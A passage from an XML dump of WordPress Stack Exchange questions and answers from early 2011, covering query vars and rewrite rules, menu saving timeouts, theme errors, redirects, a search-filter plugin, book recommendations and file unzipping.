helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-31T18:29:02.507" CommentCount="1" />
  <row Id="8226" PostTypeId="2" ParentId="8223" CreationDate="2011-01-31T18:33:11.503" Score="2" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/upload-janitor/&quot; rel=&quot;nofollow&quot;&gt;Upload Janitor&lt;/a&gt; plugin.&#xA;its a plugin i use to clean up unused images and other files from your uploads folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but just in case make a backup of your uploads directory first&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-31T18:33:11.503" CommentCount="3" />
  <row Id="8227" PostTypeId="2" ParentId="6228" CreationDate="2011-01-31T18:36:04.270" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.mailpress.org/wiki/index.php?title=Main_Page&quot; rel=&quot;nofollow&quot;&gt;http://www.mailpress.org/wiki/index.php?title=Main_Page&lt;/a&gt; best off, complex and free&lt;/p&gt;&#xA;" LastActivityDate="2011-01-31T18:36:04.270" />
  <row Id="8228" PostTypeId="2" ParentId="6228" CreationDate="2011-01-31T18:46:22.403" Score="0" ViewCount="" Body="&lt;p&gt;Here's two:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codecanyon.net/item/post-notify-wordpress-email-notifications/134042?ref=mordauk&quot; rel=&quot;nofollow&quot;&gt;WordPress Post Notify&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codecanyon.net/item/wordpress-email-newsletter-plugin/149180?ref=mordauk&quot; rel=&quot;nofollow&quot;&gt;WordPress Newsletter&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-31T18:46:22.403" />
  <row Id="8229" PostTypeId="1" AcceptedAnswerId="8234" CreationDate="2011-01-31T18:48:53.170" Score="1" ViewCount="841" Body="&lt;p&gt;I have two authors pages, one displays about 5 posts.  Then I'm trying to setup another page that will be all of their posts.  I have created a template called moreauthorposts.php and I'm trying to pass the author variable to this page.  Problem is if i pass domain.com/more-author-posts?author=johndoe it gets stripped out.  How can I retrieve this value?  Is this even possible in wordpress?  I know WP Rewrite is jacking my URL structure somehow I'm just not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_query_var('author')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and tried reading this but didn't have any luck:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Query_Overview&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Query_Overview&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2853" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-24T17:00:38.973" LastActivityDate="2011-08-20T15:25:53.807" Title="Passing and retrieving query vars in wordpress" Tags="&lt;permalinks&gt;&lt;wp-query&gt;&lt;url-rewriting&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="8230" PostTypeId="1" AcceptedAnswerId="8235" CreationDate="2011-01-31T18:51:22.057" Score="1" ViewCount="433" Body="&lt;p&gt;I have a large menu containing 10 parent items with roughly 7 child items each that I am trying to build using the WP-admin &gt; Appearance &gt; Menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have nearly all the menu items added but now my wp-admin backend won't save the menu, it keeps timing out and just ending on a blank screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have about 4 more items left to enter but I can't save the menu anymore.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried increasing the php memory in wp-config.php by adding &#xA;define('WP_MEMORY_LIMIT', '64M');&lt;br&gt;&#xA;but it made no change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tweaks or tips to help me get this menu saved, this is the only thing holding the site up and the client is waiting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much!&#xA;maikunari&lt;/p&gt;&#xA;" OwnerUserId="2837" LastActivityDate="2011-08-14T03:09:27.620" Title="Large WP 3.0 menu times out and won't save" Tags="&lt;menus&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="0" />
  <row Id="8231" PostTypeId="2" ParentId="8219" CreationDate="2011-01-31T18:52:54.443" Score="3" ViewCount="" Body="&lt;p&gt;According to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_term&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_update_term()&lt;/code&gt;&lt;/a&gt; in Codex you pass fields you want to override in &lt;code&gt;$args&lt;/code&gt; argument, try passing &lt;code&gt;name&lt;/code&gt; in there?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-31T18:52:54.443" CommentCount="2" />
  <row Id="8232" PostTypeId="1" CreationDate="2011-01-31T18:54:33.443" Score="0" ViewCount="89" Body="&lt;p&gt;I was recently advised to reinstall both wordpress and my wordpress theme due to (i think) a still unresolved error with a slide manager, but on doing so, apppear to have lost access to the admin-wp page login and instead now have a blank page with just the following errors appearing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /home/myusername/public_html/wp-content/themes/Carta/engine/backend.php on line 51&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: Invalid argument supplied for foreach() in /home/myusername/public_html/wp-content/themes/Carta/engine/backend.php on line 65&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: Cannot modify header information - headers already sent by (output started at /home/myusername/public_html/wp-content/themes/Carta/engine/backend.php:51) in /home/myusername/public_html/wp-includes/pluggable.php on line 890&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had also installed a couple of plugins recently, which I thought might be the problem, but on disabling them via FTP this didn't make a difference. If anyone has any suggestions as to what these errors refer to and how I can resolve them, I'd be very grateful. I'm a total novice with all of this, so the more detailed your instructions, the better. Many thanks.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-31T19:00:51.983" Title="Help with accessing wp-admin page and resolving error messages" Tags="&lt;php&gt;&lt;wp-admin&gt;&lt;errors&gt;&lt;login&gt;&lt;ftp&gt;" AnswerCount="1" />
  <row Id="8233" PostTypeId="2" ParentId="8232" CreationDate="2011-01-31T19:00:51.983" Score="1" ViewCount="" Body="&lt;p&gt;All of errors you quoted refer to theme's folder, so it seems like theme breaks something at admin side. Not enough details to say what causes those errors and from quick Google theme doesn't seem to be free (and so available to check).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you contact theme's developer, if he does provide support for it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-31T19:00:51.983" />
  <row Id="8234" PostTypeId="2" ParentId="8229" CreationDate="2011-01-31T19:02:52.043" Score="5" ViewCount="" Body="&lt;p&gt;I'm almost sure that author is built-in so use somthing like author_more&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you need to add that var to query_vars first&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add author_more to query vars&#xA;function add_query_vars($vars) {&#xA;    $new_vars = array('author_more');&#xA;    $vars = $new_vars + $vars;&#xA;    return $vars;&#xA;}&#xA;&#xA;add_filter('query_vars', 'add_query_vars');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then on your moreauthorposts.php call it like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; global $wp; &#xA;    if (array_key_exists('author_more', $wp-&amp;gt;query_vars) &amp;amp;&amp;amp; isset($wp-&amp;gt;query_vars['author_more'])){&#xA;      //do your stuff&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;this works in the &lt;a href=&quot;http://domain.com/index.php?author_more=value&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/index.php?author_more=value&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if you want to use this as fancy url you need to add a rewrite rule&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function author_rewrite_rules( $wp_rewrite ) {&#xA;  $newrules = array();&#xA;  $new_rules['more-author-posts/(\d*)$'] = 'index.php?author_more=$matches[1]';&#xA;  $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;add_filter('generate_rewrite_rules','author_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now you can use  &lt;a href=&quot;http://domain.com/more-author-posts/value&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/more-author-posts/value&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-07T17:19:06.317" LastActivityDate="2011-02-07T17:19:06.317" CommunityOwnedDate="2011-01-31T20:32:21.870" CommentCount="8" />
  <row Id="8235" PostTypeId="2" ParentId="8230" CreationDate="2011-01-31T19:21:35.500" Score="1" ViewCount="" Body="&lt;p&gt;You can always try to &lt;strong&gt;split your menu into 2 separate menus&lt;/strong&gt; and then just display them next to each other in your theme. It's far from perfect and doesn't help a bit in understanding the root of your problem but it could help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;You can use it as temporary workaround to GTD before deadline and then dig deep into memory issues or whatever causes your trouble...&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-01-31T19:21:35.500" CommentCount="3" />
  <row Id="8236" PostTypeId="1" AcceptedAnswerId="8965" CreationDate="2011-01-31T19:37:14.403" Score="0" ViewCount="108" Body="&lt;p&gt;I want a more elegant way to express the following redirect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} ^/blog/2008/(.*) [NC, OR]&#xA;RewriteCond %{REQUEST_URI} ^/blog/2009/01/(.*) [NC, OR]&#xA;RewriteCond %{REQUEST_URI} ^/blog/2009/02/(.*) [NC, OR]&#xA;RewriteCond %{REQUEST_URI} ^/blog/2009/03/(.*) [NC, OR]&#xA;RewriteCond %{REQUEST_URI} ^/blog/2009/04/(.*) [NC, OR]&#xA;RewriteCond %{REQUEST_URI} ^/blog/2009/05/(.*) [NC, OR]&#xA;RewriteCond %{REQUEST_URI} ^/blog/2009/06(.*) [NC]&#xA;RewriteRule . http://example.com/blog/? [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like to use &lt;code&gt;wp_safe_redirect&lt;/code&gt; or &lt;code&gt;wp_redirect&lt;/code&gt;. The problem with that, however, is that those pages have already been deleted from within WP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to do internally, if the posts have been deleted entirely from the DB?&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-16T18:20:42.700" LastActivityDate="2011-02-16T18:20:42.700" Title="Date based redirects of posts that no longer exist" Tags="&lt;redirect&gt;&lt;htaccess&gt;&lt;wp-redirect&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="8237" PostTypeId="2" ParentId="8224" CreationDate="2011-01-31T20:16:25.213" Score="1" ViewCount="" Body="&lt;p&gt;I started once to write something like that but i never finished it and always customize it for each client that needs this functionality&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so enjoy and feel free to use/change any way you want&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: BaInternet Search Filters&#xA;Plugin URI: http://www.bainternet.info&#xA;Description: filter searches by tags and categories&#xA;Version: 0.0.1&#xA;Author: bainternet בניית אתרים&#xA;Author URI: http://www.bainternet.info&#xA;*/&#xA;/*&#xA;* very early beta so watch out.&#xA;*&#xA;* Usage: add [search_with_filter] as shortcode to &#xA;*        post/page or widget or call it from a template&#xA;*        page like so: echo do_shortcode('search_with_filter');&#xA;*&#xA;*&#xA;*/&#xA;&#xA;function ba_SearchFilter($query) {&#xA;    if (!$query-&amp;gt;is_search) {&#xA;        return $query;&#xA;    }&#xA;    if (isset($_POST['cat'])){&#xA;        $query-&amp;gt;set('category__and', $_POST['cat']);&#xA;    }&#xA;    if (isset($_POST['tags'])){&#xA;        $query-&amp;gt;set('tag__and', $_POST['tags']);&#xA;    }&#xA;    return $query;&#xA;}&#xA;//hook filters to search&#xA;add_filter('pre_get_posts','ba_SearchFilter');&#xA;&#xA;function ba_search_with_filters(){&#xA;    $out = '&amp;lt;form role=&quot;search&quot; method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;'. home_url( '/' ).'&quot;&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;s&quot;&amp;gt;Search for:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;s&quot; id=&quot;s&quot; /&amp;gt;&amp;lt;br /&amp;gt;';&#xA;            $categories=  get_categories(); &#xA;            foreach ($categories as $category) {&#xA;                $option = '';&#xA;                $option .= '&amp;lt;input type=&quot;checkbox&quot; name=&quot;cat[]&quot; id=&quot;cat[]&quot; value=&quot;'.$category-&amp;gt;term_id.'&quot;&amp;gt; ';&#xA;                $option .= $category-&amp;gt;cat_name .'&amp;lt;br /&amp;gt;';&#xA;                $out.= $option;&#xA;            }&#xA;            $tags=  get_categories(); &#xA;            foreach ($tags as $tag) {&#xA;                $option = '';&#xA;                $option .= '&amp;lt;input type=&quot;checkbox&quot; name=&quot;tags[]&quot; id=&quot;tags[]&quot; value=&quot;'.$tag-&amp;gt;term_id.'&quot;&amp;gt; ';&#xA;                $option .= $tag-&amp;gt;cat_name .'&amp;lt;br /&amp;gt;';&#xA;                $out.= $option;&#xA;            }&#xA;    $out .='&amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/form&amp;gt;';&#xA;    return $out;&#xA;}&#xA;&#xA;add_shortcode('search_with_filter','ba_search_with_filters');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-31T20:16:25.213" />
  <row Id="8238" PostTypeId="2" ParentId="8050" CreationDate="2011-01-31T20:21:52.507" Score="1" ViewCount="" Body="&lt;h1&gt;WordPress and Ajax (2nd Edition)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;by &lt;a href=&quot;http://www.ronalfy.com/&quot; rel=&quot;nofollow&quot;&gt;Ronald Huereca&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The WordPress and Ajax e-book is a&#xA;  comprehensive view on using Ajax with&#xA;  WordPress. The book lays the&#xA;  foundation for you, and then walks you&#xA;  through three real-world examples of&#xA;  how to use Ajax within WordPress.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://ecx.images-amazon.com/images/I/41GSoWhTzTL._SL500_AA240_.jpg&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Book focuses on &lt;strong&gt;JavaScript, Ajax and jQuery&lt;/strong&gt; in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Available as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wpajax.com/download&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ebook&lt;/strong&gt;&lt;/a&gt; &lt;del&gt;(price not disclosed without going to PayPal for processing, I didn't bother)&lt;/del&gt; had been made free to download&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;paper&lt;/strong&gt;, $20&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wpajax.com/preview&quot; rel=&quot;nofollow&quot;&gt;Sample&lt;/a&gt; (not working at time of writing this)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wpajax.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpajax.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-03T21:52:37.963" LastActivityDate="2011-07-03T21:52:37.963" CommunityOwnedDate="2011-01-31T20:21:52.507" />
  <row Id="8239" PostTypeId="2" ParentId="8050" CreationDate="2011-01-31T20:30:23.683" Score="1" ViewCount="" Body="&lt;h1&gt;WordPress Bible&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;by &lt;a href=&quot;http://technosailor.aaronbrazell.com/&quot; rel=&quot;nofollow&quot;&gt;Aaron Brazell&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You'll start with the basics of&#xA;  WordPress, such as the principles of&#xA;  blogging and social media interaction.&#xA;  Then the pace ramps up to more&#xA;  intermediate-to-advanced topics&#xA;  including plugins, WordPress Loop,&#xA;  themes and templates, custom fields,&#xA;  caching, security, and more.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://ecx.images-amazon.com/images/I/51xW5d95RjL._BO2,204,203,200_AA240_SH20_OU01_.jpg&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Large comprehensive reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Available as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;paper&lt;/strong&gt;, $31&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Kindle&lt;/strong&gt;, $30&lt;/li&gt;&#xA;&lt;li&gt;preorder 2nd edition, $32&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://technosailor.aaronbrazell.com/the-wordpress-bible/&quot; rel=&quot;nofollow&quot;&gt;http://technosailor.aaronbrazell.com/the-wordpress-bible/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-31T20:30:23.683" CommunityOwnedDate="2011-01-31T20:30:23.683" />
  <row Id="8240" PostTypeId="1" AcceptedAnswerId="8270" CreationDate="2011-01-31T20:53:55.303" Score="0" ViewCount="175" Body="&lt;p&gt;When I call the WordPress unzip_file() function below, instead of actually extracting the zip, it merely moves it into the target folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I trace $file and $to from includes/file.php I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file: C:\xampplite\htdocs\testsite/wp-content/themes/mytheme/styles/myzip.zip &#xA;&#xA;To: C:\xampplite\htdocs\testsite/wp-content/themes/mytheme/styles/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require('../../../wp-blog-header.php');&#xA;require('../../../wp-admin/includes/file.php');&#xA;?&amp;gt;&#xA;&amp;lt;?php  &#xA;if (!is_user_logged_in()){&#xA;    die(&quot;You Must Be Logged In to Access This&quot;);&#xA;}&#xA;if( ! current_user_can('edit_files')) {&#xA;    die(&quot;Oops sorry you are not authorized to do this&quot;);&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form enctype=&quot;multipart/form-data&quot; action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;fupload&quot; /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Install&quot; onclick=&quot;doLoader();&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;if(isset($_FILES['fupload'])) {&#xA;    $filename = $_FILES['fupload']['name'];&#xA;    $source = $_FILES['fupload']['tmp_name'];&#xA;    $type = $_FILES['fupload']['type']; &#xA;    $name = explode('.', $filename); &#xA;    $target = TEMPLATEPATH.'/styles/';&#xA;&#xA;    // permission settings for newly created folders&#xA;    $chmod = 0755;  &#xA;&#xA;    $saved_file_location = $target . $filename;&#xA;    if (move_uploaded_file($source, $saved_file_location)) &#xA;    {&#xA;        unzip_file($saved_file_location, $target);&#xA;    } &#xA;    else &#xA;    {&#xA;        die(&quot;There was a problem with the upload. Plese verify you have uploaded a valid zip file&quot;);&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-08-17T22:23:04.390" Title="Anyone using unzip_file successfully? It uploads the zip but doesn't extract it!" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="8241" PostTypeId="1" AcceptedAnswerId="8256" CreationDate="2011-01-31T21:35:45.503" Score="0" ViewCount="49" Body="&lt;p&gt;This code is working fine, just want to make sure I'm ok with hardcoding the href to the category edit screen with...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;edit-tags.php?action=edit&amp;amp;taxonomy=category&amp;amp;post_type=post&amp;amp;tag_ID='.$cat_id.'&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or is there a method I should call to get the category edit link dynamically (in case the call ever gets changed)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add the filter in order to add custom columns to the category manager &#xA;add_filter('manage_category_custom_column', 'display_cat_columns', 10, 3);&#xA;&#xA;//This function outputs the custom category image onto each row of the category manager grid.&#xA;function display_cat_columns($arg1, $column_name, $cat_id){&#xA;  if ('ce4_cat_image' == $column_name) {&#xA;  return '&amp;lt;a href=&quot;edit-tags.php?action=edit&amp;amp;taxonomy=category&amp;amp;post_type=post&amp;amp;tag_ID='.$cat_id.'&quot;&amp;gt;get_category_thumbnail_admin($cat_id, 'thumbnail').'&amp;lt;/a&amp;gt;';}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-01T16:34:16.293" Title="Adding fields to category manager. Does a method exist to get the link to the category edit screen?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="8242" PostTypeId="1" CreationDate="2011-01-31T21:43:27.570" Score="1" ViewCount="43" Body="&lt;p&gt;The standard WP Themes Install is available in Appearance --&gt; Theme Install nav-tab.&#xA;There is a way to add a new nav-tab and browsing into a Custom Themes Repository?&#xA;Thanx&lt;/p&gt;&#xA;" LastActivityDate="2011-01-31T22:35:13.127" Title="Theme Install using a Custom Repository" Tags="&lt;plugin-development&gt;&lt;themes&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8243" PostTypeId="2" ParentId="8165" CreationDate="2011-01-31T22:16:02.583" Score="0" ViewCount="" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_upload_dir&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_upload_dir()&lt;/code&gt;&lt;/a&gt; function to get the path info to your uploads directory. Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Where $data represents the fully qualified url, &#xA;// find $relative relative path&#xA;$upload_dir = wp_upload_dir();&#xA;$relative = str_replace( &#xA;    $upload_dir['baseurl'], &#xA;    $upload_dir['basedir'], &#xA;    $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-31T22:16:02.583" />
  <row Id="8244" PostTypeId="2" ParentId="8242" CreationDate="2011-01-31T22:35:13.127" Score="1" ViewCount="" Body="&lt;p&gt;Not exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The existing system is set up as a 2-part integration between your individual blog and the API at WordPress.org.  You enter a search term, and your blog retrieves information from WordPress.org.  Then you can download themes from the same location.  That kind of integration doesn't exist anywhere else because, well, no one's bothered to build it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even if you could add a tab that pointed somewhere else, &lt;em&gt;you need a&lt;/em&gt; &lt;strong&gt;&lt;em&gt;somewhere else&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;to point it in the first place.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's &lt;a href=&quot;http://konstruktors.com/blog/wordpress/2538-automatic-updates-for-plugins-and-themes-hosted-outside-wordpress-extend/&quot; rel=&quot;nofollow&quot;&gt;been discussion&lt;/a&gt; on &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2011-January/037347.html&quot; rel=&quot;nofollow&quot;&gt;the WP Hackers list&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8204/plugin-and-theme-repository-configuration-who-wants-to-help&quot;&gt;even on this site&lt;/a&gt; regarding standardizing an API for hosting your own repositories ... but if anyone's started, their efforts are still in the very early stages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there's not currently a way to add a new tab and browsing to a custom repository (mostly because there &lt;em&gt;aren't&lt;/em&gt; custom repositories), anything is possible.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-31T22:35:13.127" CommentCount="1" />
  <row Id="8245" PostTypeId="2" ParentId="5868" CreationDate="2011-01-31T22:58:14.107" Score="0" ViewCount="" Body="&lt;p&gt;I just used this theme and love it! It's not free but it's cheap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themeforest.net/item/wave-a-video-centric-theme-for-wordpress/45855&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net/item/wave-a-video-centric-theme-for-wordpress/45855&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2770" LastActivityDate="2011-01-31T22:58:14.107" />
  <row Id="8246" PostTypeId="2" ParentId="8224" CreationDate="2011-01-31T23:39:26.100" Score="1" ViewCount="" Body="&lt;p&gt;Look at scribu's plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Query Multiple Taxonomies&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to making the process of querying within different taxonomies possible in earlier versions of WordPress, it includes a drilldown widget similar to the one you pointed out. If you define your taxonomies well, it can be used to make a very helpful interface for users browsing your site.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-31T23:39:26.100" />
  <row Id="8247" PostTypeId="1" AcceptedAnswerId="8261" CreationDate="2011-01-31T23:52:22.637" Score="0" ViewCount="237" Body="&lt;p&gt;I have this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_image_link( &amp;amp;$post ) {&#xA;         $image_link_meta = get_post_meta( $post-&amp;gt;ID, 'as_link_to_image', true ); &#xA;&#xA;         $image_link_from_post = '';&#xA;&#xA;         if ( function_exists( 'has_post_thumbnail' ) &amp;amp;&amp;amp; has_post_thumbnail( $post-&amp;gt;ID ) ) {&#xA;            $attachment_image_link = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), full );&#xA;         }&#xA;&#xA;         if ( $attachment_image_link[0] )&#xA;            $image_link_from_post = $attachment_image_link[0];&#xA;&#xA;         if( !empty( $image_link_meta ) ) &#xA;            $final_image_link = $image_link_meta;&#xA;&#xA;         elseif( !empty( $image_link_from_post ) )&#xA;            $final_image_link = $image_link_from_post; &#xA;&#xA;         else&#xA;            $final_image_link = WP_PLUGIN_URL . '/link/to/no-image.png';&#xA;&#xA;         return $final_image_link;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why &lt;code&gt;$image_link_from_post&lt;/code&gt; isn't getting a value?&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2011-02-01T07:14:38.060" Title="Get the url of the full sized attachment image using post ID?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;attachments&gt;&lt;image&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="8248" PostTypeId="2" ParentId="5444" CreationDate="2011-01-31T23:58:33.937" Score="0" ViewCount="" Body="&lt;p&gt;How would you go about creating an XML sitemap from custom Pretty URL's that are outside of the wordpress realm?&lt;/p&gt;&#xA;" LastActivityDate="2011-01-31T23:58:33.937" CommentCount="3" />
